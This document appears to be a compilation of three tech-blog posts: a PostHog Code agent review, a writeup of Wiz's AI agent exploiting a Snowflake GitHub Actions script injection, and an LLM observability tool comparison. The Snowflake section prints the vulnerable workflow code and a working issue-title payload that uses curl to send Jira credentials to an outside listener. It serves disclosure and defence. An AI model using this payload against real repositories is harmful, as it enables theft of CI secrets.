Not the first attempt at a PostHog desktop shell

Worth a footnote: an unofficial, community-built project called PostHog on Desktop already existed before PostHog shipped its own app — a native wrapper around PostHog's analytics web UI (not the coding agent) that an AI agent resyncs against upstream PostHog daily, resolving merge conflicts and cutting a fresh signed release automatically. It's a different product solving a different problem — "I want the dashboard in its own window with tabs," not "I want an agent that opens PRs" — but it's a useful data point that there was already organic demand for a native PostHog shell before the company built one. PostHog Code isn't a response to that project, but it lands in the same territory: people want PostHog outside a browser tab.

How it's built

The architecture is unglamorous in a way that's actually reassuring: Electron + React + Vite for the desktop shell, React Native + Expo for the mobile companion, a TypeScript agent framework (packages/agent) shared across both, and tRPC wired over Electron's IPC channel for the desktop app's internal communication. There's a "Saga pattern" shared utilities package for orchestrating multi-step agent workflows with rollback semantics — a reasonable choice for a system whose entire premise is "let an agent take actions on your behalf and be able to unwind them."

One detail says more about the team's priorities than any marketing copy: the local dev tooling ships its own process runner, nicknamed phrocs, which self-updates on every pnpm install by checking the local binary's checksum against the latest release and re-downloading if it's stale. That's the kind of internal-tooling investment you make when you expect a lot of contributors iterating on the agent loop daily, not when you're maintaining a static product. Combined with the repo migration and the daily release cadence, the codebase reads like a team still actively finding the shape of the product — which lines up with "beta," but is worth knowing before you point it at anything you care about.

There's also an AGENTS.md file in the repo explicitly written to be "read by Claude Code, Codex, Cursor, Aider, etc." — PostHog is building an agent, and simultaneously instrumenting its own repo so that other people's agents can work on it correctly. That's a small, telling signal about where they think development is heading.

The pricing model is the actual news

Buried under the "self-driving" framing is a pricing decision that's more interesting than the desktop app itself: PostHog charges $15 per pull request that the agent produces — and only for PRs, not for the analysis that precedes them. Reports that don't rise to the level of "here's a code change" are always free. Your first three PRs each month are free regardless. And if a PR turns out not to have been worth paying for, PostHog says they'll refund it.

That's outcome-based pricing applied to an agent product, and it's a sharper design than the two dominant patterns elsewhere in the market. It isn't seat-based like Copilot Business, which charges per developer per month whether the agent produces anything useful or not. It isn't raw token/compute metering like most agent-framework billing, which makes cost proportional to how much the model rambled, not to how much value it created. Charging per merged-worthy artifact — with a stated refund path when the artifact wasn't worth it — puts the pricing risk back on PostHog instead of on you, at least nominally. The obvious tension: PostHog is also the party judging what counts as "actionable," and there's no published methodology yet for how refund disputes get resolved. It's currently in open beta and the company has already flagged that pricing is subject to change, so treat $15/PR as a snapshot, not a commitment.

Why this matters more than another AI coding agent launch

The interesting comparison isn't PostHog Code vs. Copilot on code-completion quality — that's not the axis PostHog is playing on. It's PostHog Code vs. the entire category of coding agents that only see your repository. Sentry has Seer, which does something structurally similar — turning error telemetry into agent-authored fixes — but Sentry's context stops at errors and performance traces; it doesn't know about your feature flags or experiment results because Sentry doesn't run those systems. Linear's agent sessions can turn a ticket into a PR, but a ticket is still a human-authored artifact, not raw usage telemetry. Vercel's v0 and its Agent tooling operate on UI generation and deployment context, not production error/flag telemetry. Generic agents like Cognition's Devin or Cursor's background agents have no product telemetry at all unless you build the MCP glue yourself, and that glue is exactly the kind of brittle, custom integration PostHog is betting teams don't want to maintain.

PostHog's edge, in other words, is vertical integration: they already own analytics, session replay, feature flags, experiments, and error tracking as one product, so wiring an agent into "what's actually happening in production" doesn't require an integration — it's the same database. That's a real moat if it works, and also the product's biggest limitation: the "product-aware" advantage only exists if you've already put PostHog in the position of owning your flags, experiments, and error tracking. If you're running LaunchDarkly for flags, Sentry for errors, and Amplitude for analytics — a completely normal, common stack — PostHog Code degrades into just another generic coding agent with none of the differentiation, and you're evaluating it purely against Cursor and Copilot on code quality, where it has no track record yet.

This is also a lock-in play, even if an unintentional one. The more of PostHog's suite you adopt to make the agent useful, the more expensive it becomes to leave any of it — not because of contractual lock-in (everything's MIT-licensed and self-hostable), but because the agent's entire value proposition evaporates the moment you migrate flags or error tracking to a competitor. That's worth naming plainly: adopting PostHog Code is, functionally, a vote to consolidate your observability and experimentation stack onto PostHog, not just a vote to try a new coding agent.

Security and maintainability, beyond the pitch deck

A few practical questions matter more here than for a typical code-completion tool, because this agent is granted write access to your repository and, via cloud sandboxes, execution capability outside your machine:

What runs in PostHog's sandbox, and where. Cloud-run tasks execute in infrastructure PostHog manages, which means your code — and whatever secrets or config the agent needs to build and test it — leaves your machine and your CI environment for a third-party sandbox. That's not unusual for hosted agent products (Copilot's coding agent, Devin, and others all do some version of this), but it's a meaningfully different trust boundary than a local Electron app, and it's worth confirming what data retention and isolation guarantees apply before pointing it at a private repo.
The screen-capture surface. "Quick ask" requesting Screen Recording permission is a bigger ask than most IDE plugins make, and the documented behavior — permission tied to Electron's code identity, invalidated on every version bump — means teams should expect to re-grant it repeatedly rather than treat it as a one-time setup step. For security-conscious orgs, that's worth a policy conversation before rollout, not after.
Self-hosting is real, not just a license technicality. Because the whole stack — desktop app, agent framework, mobile companion — is MIT-licensed and buildable from pnpm install onward, a team that doesn't trust the waitlist-gated hosted path can build and run their own copy today, pointed at a self-hosted PostHog instance, and inherit none of the cloud-sandbox questions above. That's a meaningfully different risk profile than a closed-source competitor, and it's the strongest argument for taking this project seriously despite its beta rough edges.
Maintainability under a fast-moving codebase. A monorepo migration six days before publication, a near-daily release cadence, and a self-updating internal build tool (phrocs) all point to a team still actively shaping the architecture. Anyone building automation, CI hooks, or internal tooling on top of posthog-code:// deep links or the current task-list APIs should expect breaking changes before this settles into a stable interface.

Practical use cases worth testing first

If you get off the waitlist, the highest-signal places to point this — based on what the task-generation model is actually built to catch — are narrow and mechanical, not open-ended feature work:

Flag hygiene. Feature flags left at 100% rollout for months with the conditional branch still in the codebase are exactly the "obvious" case the agent is designed to close out — low-risk, high-tedium, the kind of cleanup that never makes it to the top of a human backlog.
Experiment resolution. Promoting a statistically significant winner and deleting the losing variant's code path is another low-ambiguity, high-frequency chore in any team running frequent A/B tests.
First-pass triage on new error signatures. Even where the agent stops short of a PR, having a diagnosis with the relevant stack trace, event volume, and affected user segment already assembled next to a suggested patch saves the initial investigation time on a fresh production error — arguably the more durable value of the product even if the autonomous-PR headline turns out to be oversold.

What it's not well-suited to, at least on the evidence available: net-new feature development, architecture decisions, or anything where the "signal" isn't already something PostHog's own telemetry stack was built to measure.

What the framing leaves out

A few things worth knowing before you join the waitlist:

"Self-driving" oversells the autonomy. PostHog's own docs distinguish "obvious stuff" that ships itself from "tricky stuff" that becomes a to-do list — which is a sensible design, but it's a human-in-the-loop tool wearing a fully-autonomous name. That's a marketing choice, not a technical one, and it's worth reading the actual docs rather than the headline.
It's still waitlist-gated. Despite being open source under MIT and buildable from source today, the packaged app is fronted by a waitlist. Open-source code you can compile yourself is not the same as a product you can adopt this week.
The repo just went through a structural move. Archiving PostHog/code and folding it into the monorepo six days before writing this is a sign of active, possibly not-yet-settled architecture. If you're the kind of team that pins dependencies and expects API stability, "days-old monorepo migration" is a signal to wait a release cycle or two.
Screen-capture permission is a real ask. "Quick ask" needs macOS Screen Recording access, which is a meaningfully bigger trust grant than most coding agents request, and the documented permission-reset dance (tied to Electron's code identity, broken by every Electron bump) suggests this is genuinely fiddly in practice, not a one-time setup step.
Pricing transparency has limits. "We'll refund it if it wasn't worth paying for" is a nice policy with zero published criteria. In beta, that's fine; if it's still that vague at general availability, it's worth pushing back on.

Who should actually try this

If your team already runs on PostHog for flags, experiments, and error tracking — genuinely try it. The premise only pays off for you, and $15 for a PR that would've taken an engineer twenty minutes to write from a dashboard they'd have to go check anyway is a reasonable trade, refund policy notwithstanding.

If you're on a different analytics/flagging stack, there's no reason to prioritize this over Copilot, Cursor, or whatever agent your team has already standardized on — you'd be adopting PostHog's product suite to get PostHog's agent, and that's a much bigger decision than "try a coding agent."

If you're evaluating outcome-based pricing models for your own agent product, this is worth watching regardless of whether you ever install it — charging per merged-worthy PR instead of per seat or per token is a genuinely different bet on how agent products should be priced, and whether PostHog can make the unit economics work (support cost of adjudicating refunds, cost of the compute behind PRs that don't get merged and thus earn nothing) is a live experiment other vendors will be watching closely.

Everyone else: put it on a watchlist, not a calendar. A product that archived its own repo six days ago and is cutting near-daily builds isn't done changing shape yet.

Sources:

What's your read on charging per merged pull request instead of per seat or per token — does tying an agent's price to a shippable outcome actually align incentives better, or does it just move the argument from "how many tokens did you burn" to "was this PR really worth $15," with the vendor still holding the scale?

Wiz's Red Agent Cracked Snowflake's Jira in 5 Days — After Two Other AI Tools Signed Off on the Bug

Jason Lee — Wed, 19 Aug 2026 00:13:31 +0000

On June 18, 2026, a pull request titled "SNOW-2069227: Update jira workflows" was squash-merged into snowflakedb/snowflake-connector-net, a public repository maintained by Snowflake. GitHub Copilot Autofix was listed as a co-author on the merge commit. GitHub Advanced Security scanned the final revision, including the workflow file that shipped with the change. Neither flagged a problem.

Five days later, an autonomous AI agent built by security vendor Wiz scanned Snowflake's GitHub organization, found the same file, and had a working remote-command-execution exploit running against a live GitHub Actions runner within minutes — including self-correcting a broken shell payload mid-attack, without a human in the loop. It exfiltrated a Jira API token that opened read access to Snowflake's internal engineering, security-compliance, and bug-bounty tracking projects.

Wiz published the full technical writeup on August 17. It's a genuinely useful case study for anyone who writes CI/CD workflows or leans on AI code review for confidence — not because an AI "wrote a vulnerability," which is the headline version that's already circulating and which Wiz itself had to walk back, but because of what actually happened: two different AI-assisted safety nets looked directly at the vulnerable line and passed it, while a third AI system built purely to attack found it, exploited it, hit a runtime error, and fixed its own exploit on the fly.

What actually happened

Wiz Research operates a bug bounty program against Snowflake through HackerOne, and as part of that ongoing engagement it runs "Red Agent" — described in Wiz's post as an autonomous, AI-powered security research tool — against Snowflake's public attack surface, including its open-source GitHub repositories.

Red Agent's CI/CD-focused capability scanned Snowflake's GitHub organization and flagged jira_issue.yml, a workflow in the connector-net repo that fires automatically whenever anyone opens a GitHub issue. The workflow's job was mundane: mirror new GitHub issues into Snowflake's internal Jira. The bug was that it built a shell command out of the issue title without safely escaping it first — a textbook GitHub Actions script injection, a vulnerability class GitHub's own security team has been publishing guidance about since 2020.

The vulnerable pattern was introduced in commit 094038e and went live when PR #1218 was squash-merged as commit 4a1b8ce. Wiz's post was updated on August 17 at 19:57 UTC specifically to correct the record on attribution: Copilot Autofix's documented contribution to that PR was a separate, unrelated fix to a different file (jira_close.yml), not the change to jira_issue.yml that actually shipped the injection. What Copilot Autofix did do was co-author the merged PR and review the combined change set — including the vulnerable workflow — and sign off on it as clear. Whether the vulnerable line itself was AI-assisted at all is, per Wiz, still unclear. That's a meaningfully different claim than "Copilot wrote the bug," and it's worth sitting with, because the sloppier version is the one that's spreading.

How the injection actually worked

The old, safe version of the workflow did this:

env:
  ISSUE_TITLE: ${{ github.event.issue.title }}
run: jq -n --arg title "$ISSUE_TITLE" ...

Passing untrusted input through an environment variable and into jq --arg is the textbook-correct pattern: the value never gets interpreted as shell syntax. The PR replaced it with this:

run: |
  TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")

This looks like it's still trying to sanitize the input — there's visible sed escaping right there. The problem is ordering. GitHub expands ${{ github.event.issue.title }} textually into the YAML before the shell ever runs, so the attacker's raw string lands inside the echo '...' quotes first, and the sed escaping only applies after the shell has already parsed (and potentially broken out of) that quoted string. A single unescaped ' in an issue title closes the quote early and hands the rest of the title to bash as literal commands. This is the exact failure mode GitHub's own untrusted-input documentation warns against, reintroduced by removing the pattern that had already been avoiding it.

There was a second failure stacked on top. The workflow had what looked like an authorization gate:

if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]')

github.event.pull_request only exists on pull-request-triggered events. On an issues event, it's always null. So the condition collapses to null != 'whitesource-for-github-com[bot]', which is always true — the "gate" passes for every single GitHub user on Earth, authenticated or not. This is a specific, recognizable footgun: a condition copy-pasted from a PR-triggered workflow into an issue-triggered one, where the context object it references simply doesn't exist in the new trigger's payload, silently degrading to "always allow."

Both mistakes are things a human reviewer, a linter, or a static analysis pass could plausibly catch individually. Neither Copilot Autofix's review nor GitHub Advanced Security's scan caught either one, on the actual merged revision, in production.

The exploit, including the part that didn't work first

Wiz crafted a GitHub issue title designed to break out of the echo string and exfiltrate the workflow's Jira secrets via an out-of-band HTTP callback. The first version of the payload used # to comment out the rest of the injected line — a standard technique — but it broke: the # also swallowed the closing parenthesis of TITLE=$(...), so the runner returned a bash syntax error instead of executing anything.

According to Wiz's account, Red Agent didn't stop there. It parsed the syntax error, reasoned about why the comment character had consumed more than intended, and revised the payload to use ; echo ' to properly re-close the shell block before continuing — then re-fired it. The corrected payload:

' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '

Within seconds, Wiz's listener received a callback from a GitHub-hosted Azure runner IP carrying base64-encoded credentials. The token authenticated as qa@snowflake.net against snowflakecomputing.atlassian.net, with read access spanning engineering, security-compliance, and bug-bounty-tracking Jira projects — which is how Wiz was able to produce a screenshot of the internal Jira portal as proof of impact.

The self-correction is the detail worth dwelling on. A syntax error that kills a scripted exploit normally just kills it — someone has to notice, debug, and rerun manually. Here the agent treated a failed shell command the way an interactive attacker would: read the error, adjust the payload, retry, succeed. That's a small step technically, but it's the step that turns "found a vulnerability" into "autonomously demonstrated full impact," and it's the part that scales badly for defenders, because it removes the human latency that used to sit between discovery and exploitation.

Timeline and response

Snowflake remediated the same day it was notified — June 23, 2026 — restoring the original env: plus jq --arg pattern in commit 1dc7766 (PR #1402) and rotating the exposed Jira token. Wiz says forensic review of Snowflake's audit logs confirmed no party other than Wiz's own testing infrastructure accessed the token during the five-day exposure window, and that all data Wiz retrieved during proof-of-concept testing was deleted. The roughly two-month gap between the June disclosure and the August 17 publication is standard practice for responsible-disclosure writeups — time for the vendor to patch, verify, and clear publication.

Why this matters beyond one Snowflake repo

The mechanism itself — unescaped template expansion into a shell block, plus a broken if: gate copied across trigger types — is common enough that GitHub Actions script injection remains one of the most frequently rediscovered vulnerability classes in public CI/CD workflows. What makes this incident a useful signal rather than just another CVE writeup is the layered failure: an AI coding assistant reviewed the merged change and called it clean, an established static-analysis security product scanned the same file and stayed silent, and a purpose-built offensive AI agent needed neither prior knowledge of the codebase nor a human operator to find, weaponize, and prove impact against the same line of YAML within days.

That's a different risk model than "AI sometimes writes insecure code," which is already well understood and increasingly guarded against with review gates. The harder problem is that AI-assisted review and AI-assisted scanning can create false confidence — a PR that's been "checked" by a bot reads as safer than one that hasn't, even when the check missed something a dedicated attacker (human or agent) would catch immediately. Meanwhile, the tooling on the offensive side is closing the gap between "vulnerability exists" and "vulnerability is exploited" from weeks to hours, with no requirement that a skilled human be present at the keyboard.

For teams running GitHub Actions against public repos, the practical exposure is broad: any workflow that triggers on issues, issue_comment, pull_request_target, or similar events and interpolates event payload fields (titles, bodies, branch names, commit messages) directly into a run: block is a candidate for this exact bug class, independent of whether Copilot or any other AI tool touched it. The fix is unglamorous and has been documented for years: never interpolate untrusted github.event.* fields directly into shell syntax — pass them through env: and reference them as shell variables, or use jq/printf %q for structured escaping, every time, with no exceptions for "it's just a mirroring script."

Two smaller lessons sit underneath the headline one. First, "the workflow already has an if: gate" is not the same claim as "the gate does what its author intended" — the Snowflake condition was syntactically valid, referenced a real (if wrong) context field, and would pass code review by anyone skimming it for shape rather than tracing which fields are actually populated for that specific trigger. Second, the vulnerable version of the workflow added visible sanitization (the sed calls) compared to the safe version it replaced — it looks more defensive, not less, which is exactly the kind of change that lulls a reviewer, human or AI, into treating "has escaping logic" as equivalent to "escapes correctly, in the right order, relative to GitHub's own template expansion." Neither of those is a novel insight in security engineering generally, but both are easy to miss under the specific pressure of "this PR touches CI config, not application code," which tends to get less scrutiny than it deserves.

What the announcement leaves out

Wiz's post is a vendor security blog documenting Wiz's own product finding a bug — that context matters when weighing the framing. It's a single incident, not a systematic audit of Copilot Autofix or GitHub Advanced Security's detection rates on this vulnerability class, so it doesn't tell you how often either tool does catch script injection versus this one miss. It's also not independently verifiable by an outside reader: the audit-log forensics, the "no other party accessed the token" claim, and the full internal Jira access scope are all reported by Wiz based on data only Wiz and Snowflake could see. None of that is a reason to dismiss the findings — the technical mechanism (the diff, the broken if: condition, the callback) is concrete and checkable — but it's worth reading as "here's what one vendor's red-team agent demonstrated," not as a peer-reviewed audit of AI code review in general.

The post also doesn't say whether the underlying jira_issue.yml change was itself written with AI assistance, only that Copilot Autofix's documented contribution was elsewhere in the same PR. That ambiguity is honestly reported, but it means the cleanest version of the "AI wrote the vulnerability" story that's been circulating isn't actually established by Wiz's own evidence.

Competitive and independent read

Autonomous offensive-security agents are becoming their own product category — tools built specifically to chain reconnaissance, exploitation, and impact assessment without a human operating each step — and Red Agent is Wiz's entry into that space, sitting alongside a defensive product line (cloud security posture management) that's traditionally been about finding misconfigurations, not exploiting them live. That's a notable positioning shift for a company known for passive scanning: proving impact by actually popping a target is a different pitch than flagging a risk score.

The more interesting tension is upstream of any single vendor. GitHub ships both the assistant that reviews your PRs and the scanner that checks your merged code, and in this incident both missed the same bug on the same file. That's not a knock on GitHub specifically — every SAST tool and every AI reviewer has blind spots, and script injection via template expansion is a notoriously easy pattern to miss because the vulnerable code doesn't look wrong at a glance, it looks like someone added sanitization. But it's a concrete data point against treating "an AI reviewed this" or "a scanner ran on this" as a substitute for understanding the specific vulnerability class your workflow triggers are exposed to.

Who should act on this

If you maintain GitHub Actions workflows — especially ones triggered by issues, issue_comment, or pull_request_target on public repos — this is worth an afternoon: grep your .github/workflows/*.yml for any run: block that references github.event.* fields directly rather than through an env: variable, and check every if: condition against the actual event payload fields available for that specific trigger type (not copy-pasted from a workflow with a different trigger). GitHub's own documentation on untrusted input is the canonical reference and predates this incident by years — the gap here wasn't unknown guidance, it was guidance not consistently applied on a re-merge.

If you're evaluating AI-assisted code review or Autofix-style tooling, this isn't a reason to turn it off — it's a reason to keep treating its sign-off as one input among several rather than a clearance. And if you're tracking the autonomous-agent security space, Red Agent is a concrete, technically documented example of what "AI agent chains recon through exploitation without human intervention" looks like in practice right now, mid-attack error recovery included, which is a more specific claim than most vendor marketing in this category currently backs up with a public writeup.

If none of that applies to you — you don't maintain public CI/CD workflows and aren't evaluating security tooling — there's nothing here that needs your attention today.

Discussion: If an AI code reviewer and a static analysis scanner both sign off on a PR, how much weight should that combined signal actually carry versus a single competent human reviewer who understands the specific trigger semantics of the workflow being changed — and where's the line between "useful additional signal" and "false confidence" in your own team's review process?

Sources:

LangSmith, Langfuse, Braintrust, and Helicone Aren't Actually Competing With Each Other

Jason Lee — Tue, 18 Aug 2026 12:06:53 +0000

If you shipped an LLM feature in 2024, you probably bolted on a logging table and called it observability. If you're shipping an agent in 2026 — something that plans, calls tools, loops, and sometimes fails in ways that don't show up until step fourteen of a nine-step task — that table stopped being enough a while ago, and you're now choosing between four products that all claim to solve "LLM observability" but were actually built to solve four different problems.

That's the part the comparison posts tend to flatten. LangSmith, Langfuse, Braintrust, and Helicone get lined up in a feature-matrix and scored on the same axes, as if the decision were "which one has the most checkmarks." It isn't. Each one metabolizes a different unit of work — a trace, an eval score, an API call — and that choice of unit shapes everything downstream: what it costs you at scale, what it can and can't diagnose, and how painful it is to leave.

This piece is about that dividing line, not a leaderboard.

Why this comparison is a live decision right now

Three things changed in the last year that make this an actual decision point instead of a nice-to-have.

First, production LLM usage moved from single-turn completions to multi-step agents — tool calls, sub-agent delegation, retries, human-in-the-loop approval. A single user request can now fan out into dozens of LLM calls, and "what went wrong" stopped being answerable by reading a request/response log. You need the whole execution graph.

Second, teams that got burned by regressions started treating evals the way they treat unit tests: something that runs in CI, blocks a merge, and produces a score, not a vibe. That's a meaningfully different product requirement than "show me a nice trace viewer."

Third, self-hosting stopped being a niche ask. GDPR and data-residency requirements, plus a general fatigue with usage-based SaaS bills that don't scale predictably, pushed teams to actually price out running observability infrastructure themselves — and discovered that "open source" in this category ranges from genuinely free to bait for an upsell.

Put those three together and the question isn't "which tool is best" — it's "which unit of work do I actually need to optimize for, and am I willing to operate my own database to get it."

There's a fourth driver too, quieter but just as real: LLM API spend stopped being a rounding error on the infra bill. Once a team is running agents that fan out into dozens of calls per request, finance starts asking which feature, which customer, or which prompt is burning the budget — and that's a question none of these four tools answer equally well, because "cost" means something different depending on whether your unit of analysis is a trace, a score, or a raw request.

What each one actually does

LangSmith is LangChain's hosted observability and eval platform. It traces LLM calls, chains, and — increasingly its main selling point — LangGraph agent executions, showing node-by-node state diffs across a graph run. It also does dataset management, prompt versioning, and annotation queues for human review.

Langfuse is an open-source (MIT-licensed core, with a separate ee — enterprise edition — folder under a source-available license) platform covering tracing, evaluation, prompt management, and datasets, shippable as a fully self-hosted stack or as a managed cloud product. It's framework-agnostic by design: it integrates with LangChain, LlamaIndex, the OpenAI SDK, and raw API calls equally, rather than being built around one orchestration framework.

Braintrust treats the eval, not the trace, as the primary object. You define scorers — code-based, LLM-graded, or human — run them against datasets, and Braintrust tracks score deltas across experiments and model/prompt changes over time. Tracing exists, but it's downstream of the eval, not the other way around.

Helicone is architecturally different from the other three: instead of an SDK that instruments your code, it's primarily a proxy. You point your OpenAI/Anthropic-compatible traffic at Helicone's endpoint (or use an async logging integration), and it captures cost, latency, and usage per request with minimal code changes. It layers in caching, rate limiting, and prompt experimentation as proxy-level features.

How they're actually built — and why the architecture matters more than the feature list

This is the part worth slowing down on, because it's the thing that determines what each tool is good at diagnosing, not just what's in the pricing page.

Proxy vs. SDK. Helicone sits in the request path. Every LLM call goes through its infrastructure before it reaches the model provider. That buys you the simplest possible install — often a base-URL change and nothing else — plus request-level features like caching and rate limiting for free, because the proxy is already touching every call. The cost is a genuine architectural trade-off: you've added a network hop to your hot path, and it's a request-level view of the world, not an execution-level one. Helicone can group requests into sessions, but it doesn't reconstruct the full state of a multi-step agent run the way a purpose-built agent tracer does — it sees API calls, not the reasoning between them.

LangSmith, Langfuse, and Braintrust instead instrument your code — SDK wrappers, decorators, or callback hooks — which means no added network hop, but real code changes and framework-specific integration work.

Trace-first vs. eval-first vs. session-first. LangSmith and Langfuse are fundamentally trace-first: the unit you page through is a request or a run, and evaluation is something you attach to traces after the fact. Braintrust inverts this — the unit is a score, generated by running a scorer against a dataset, and traces are there to explain a score, not the other way around. That inversion is what makes Braintrust's CI/CD story clean: a GitHub Action can fail a build because a score dropped, in the same way a test suite fails a build because an assertion failed. Bolting that workflow onto a trace-first tool is possible but always feels bolted on.

Both framings, notably, still treat the request as the atomic unit and add agent features on top. A newer crop of "agent-first" tools flips this again, treating the full multi-turn session as the atomic unit from day one — a reminder that even this four-way comparison isn't the end state of the category.

License architecture. Langfuse's core is MIT — genuinely, unlimited, no seat caps, no retention window, run it on your own Postgres/ClickHouse and keep everything. The commercial layer is thin by design: SSO, SCIM, audit logs, project-level RBAC. That's a meaningfully different posture than "open core" products that gate basic usability behind a paywall. LangSmith and Braintrust both offer self-hosted or VPC deployment for regulated customers, but neither ships a free, fully-featured open-source edition the way Langfuse does — self-hosting them is an enterprise-tier commercial arrangement, not a docker compose up.

What changed versus a year ago

A few shifts are worth flagging because they change the calculus from what you'd have read in a 2024 comparison:

Langfuse leaned harder into "self-host without limits" as its wedge, explicitly positioning the free self-hosted edition as feature-complete rather than a trial. The catch is operational, not licensing: production self-hosting means running ClickHouse yourself (or paying for a managed ClickHouse Cloud/BYOC add-on), and ClickHouse at scale is real infrastructure work most application teams don't want to own.
Braintrust doubled down on eval-as-CI, with native GitHub Actions support that lets teams gate merges on scorer output — a workflow that barely existed as a first-class feature two years ago, when evals were mostly notebooks people ran manually before a release.
LangSmith's differentiation increasingly comes from LangGraph, not from LangChain generically. If your agent is built on LangGraph, LangSmith can show you node-by-node state diffs across the graph — a depth of integration that's structurally hard for a framework-agnostic tool to match, because it requires knowing the internal shape of the orchestration layer.
Helicone's positioning narrowed rather than widened. Where some proxy-based tools have tried to grow into full observability suites, Helicone's current strength is explicitly cost and usage visibility with the simplest possible integration — a "put this in front of your API calls and see your spend" tool, not a multi-turn agent debugger. That's a legitimate niche, but it means evaluating it against the other three on "agent tracing depth" is comparing it on an axis it isn't optimized for.

Why developers should actually care

Cost. All four meter something, and the something differs, which makes head-to-head price comparison misleading unless you convert to your own volume. LangSmith and Braintrust both start metering above free tiers around the same per-thousand-unit price point, but LangSmith counts traces while Braintrust counts scores — so a workflow that runs five scorers per request costs five times more on Braintrust's meter than the trace count would suggest on LangSmith's. Langfuse counts "units" as traces + observations + scores combined, which front-loads cost for chatty multi-step agents that generate many observations per trace, but it's also the only one of the four where you can sidestep metered pricing entirely by self-hosting the open-source edition. Helicone's model is closer to per-request logging cost, which tends to scale more predictably with raw API call volume than with how deep your instrumentation goes.

Latency. Proxy architectures add a hop. For most applications the added latency is small and worth the simplicity, but if you're already latency-sensitive (voice agents, low-latency chat), routing every model call through a third party's infrastructure is a real tax that SDK-based instrumentation doesn't impose in the same way — SDK wrappers can log asynchronously without blocking the response path.

DX. Helicone wins on integration speed by a wide margin — often a base-URL swap. LangSmith wins on DX specifically if you're already in the LangChain/LangGraph ecosystem, because the tracing is nearly free once you're using the framework's callback system. Langfuse and Braintrust both require deliberate instrumentation work regardless of framework, which is more upfront cost but also more portable if you later change frameworks.

Lock-in. This is where the license architecture actually bites. Langfuse is the only one of the four where "we're leaving" doesn't mean "we're re-exporting years of trace data from someone else's database" — because you can have owned the database the whole time. That's a genuinely different risk profile for a team that expects to be running this for five years, versus a team that just wants the fastest path to a working eval loop this quarter.

Security and data residency. If you're in a regulated industry, LangSmith and Braintrust both offer VPC/self-hosted deployment at the enterprise tier, and Langfuse's Enterprise self-host tier adds the compliance surface (SCIM, audit logs, RBAC) on top of a base that's already self-hostable for free. Helicone's proxy architecture is the one place this gets structurally awkward: your model traffic is, by design, passing through a third party's infrastructure before it reaches the provider, which is a harder sell in a security review than an SDK that logs after the fact.

Maintainability. The eval-first vs. trace-first split shows up here too. Teams that adopt Braintrust's CI-gated eval workflow report that it forces evaluator rubrics to stay current, because a stale scorer either blocks merges it shouldn't or lets through ones it shouldn't — that pressure keeps the eval suite honest in a way a trace viewer you check manually after an incident doesn't.

Prompt management. This dimension gets less attention than tracing but ends up mattering just as much day to day. LangSmith and Langfuse both ship prompt versioning and rollback as first-class features — you can edit a prompt in a UI, tag a version, and roll back without a deploy, which matters once non-engineers (PMs, prompt engineers) are iterating on wording. Braintrust treats prompts as part of the experiment/dataset workflow rather than a standalone versioned artifact, which fits its eval-first framing but is a worse fit for a team that just wants a lightweight prompt CMS. Helicone's proxy position lets it do prompt experimentation at the request layer — routing a percentage of traffic to a variant — but it isn't a prompt-authoring tool in the way the other two are.

Practical use cases per option

LangSmith — you're building on LangGraph, want agent execution graphs debugged at the node level with minimal extra instrumentation, and you're fine with a hosted product for a team that's already deep in the LangChain ecosystem.
Langfuse — you need GDPR-grade data residency, want to avoid a growing usage-based bill as trace volume scales, or you simply don't trust a vendor with years of production trace data and want an exit that doesn't require an export ticket.
Braintrust — you're moving from "we eyeball outputs before a release" to "a bad score blocks the merge," and you want that gate to live next to your existing CI, not in a separate dashboard someone has to remember to check.
Helicone — you want cost and usage visibility across a fleet of API keys or teams with the least possible integration lift, and your debugging needs are closer to "which key spent what" than "why did this agent loop four times."

Concretely: a two-person team shipping a RAG chatbot on top of the OpenAI API, with no orchestration framework, gets the fastest path to "we can see what we're spending and where latency is going" from Helicone — a base-URL change on a Friday afternoon. A platform team supporting a dozen internal LangGraph agents, where the recurring support ticket is "the agent got stuck in a loop and nobody knows why," gets far more value from LangSmith's graph-level state diffs than from either of the other three, because the failure mode is specifically about control flow inside the graph, not about cost or eval scores. A team that just had a prompt regression ship to production undetected — the classic "someone tweaked the system prompt and support tickets tripled" incident — is the textbook Braintrust case: the fix isn't better logging, it's a scorer in CI that would have caught the regression before merge. And a compliance-constrained team (health data, EU customer data, a security review that flags "third-party sees your prompts") ends up at Langfuse almost by elimination, because it's the only one of the four where "keep the data in our own infrastructure" doesn't require an enterprise sales call.

What the marketing pages don't say

Every vendor's pricing page reads like the decision is obvious. It isn't, and here's where the gap between the pitch and the reality tends to show up:

Langfuse's "self-host for free, no limits" claim is true for the open-source edition — and materially less true the moment you want compliance features, at which point you're either paying for enterprise self-host (which still requires you to operate the ClickHouse layer) or moving to their managed cloud, where the Free→Core→Pro jump is mostly about retention windows and rate limits, not raw included volume. The infrastructure savings from self-hosting are real, but they're an ops-hours trade, not a free lunch.
Braintrust's eval-first pitch undersells how much scorer design work sits on your side of the line. The platform will happily run and track any scorer you give it, but a bad scorer produces a confidently wrong CI gate — the tool doesn't protect you from writing an eval that doesn't actually measure the thing you care about, and teams that skip the work of validating their scorers end up with a green checkmark that means less than it looks like.
LangSmith's deepest value is conditional on LangGraph, and that's understated in general positioning that talks about "any LLM app." Teams not using LangChain's orchestration layer get a competent but not distinctive tracer — most of what makes LangSmith's traces genuinely better than a generic tracer is the LangGraph-specific state-diff view, and that's tied to the framework.
Helicone's "add one line, get full observability" framing glosses over the ceiling. It's genuinely the fastest tool to integrate, but if your actual problem is "why did my agent take the wrong path on step six," a proxy watching individual API calls structurally cannot answer that as well as a tool tracing execution state, because the proxy never sees the parts of your program that aren't LLM calls — the branching logic, the tool outputs, the state passed between steps.

None of this is dishonest marketing — it's the normal gap between "what the product does at its best" and "what it does for your specific workload," and it's exactly the gap a feature-matrix comparison won't show you.

Comparison table

Dimension	LangSmith	Langfuse	Braintrust	Helicone
Primary unit of analysis	Trace / run	Trace + observation + score	Eval score	API request
Architecture	SDK / callback instrumentation	SDK instrumentation	SDK instrumentation	Proxy (+ async logging option)
Open source	No (closed, VPC option at enterprise)	Yes — MIT core, source-available `ee` add-ons	No (closed, BYOC at enterprise only)	Partially, varies by component
Free self-hosting with full features	No	Yes	No	Limited
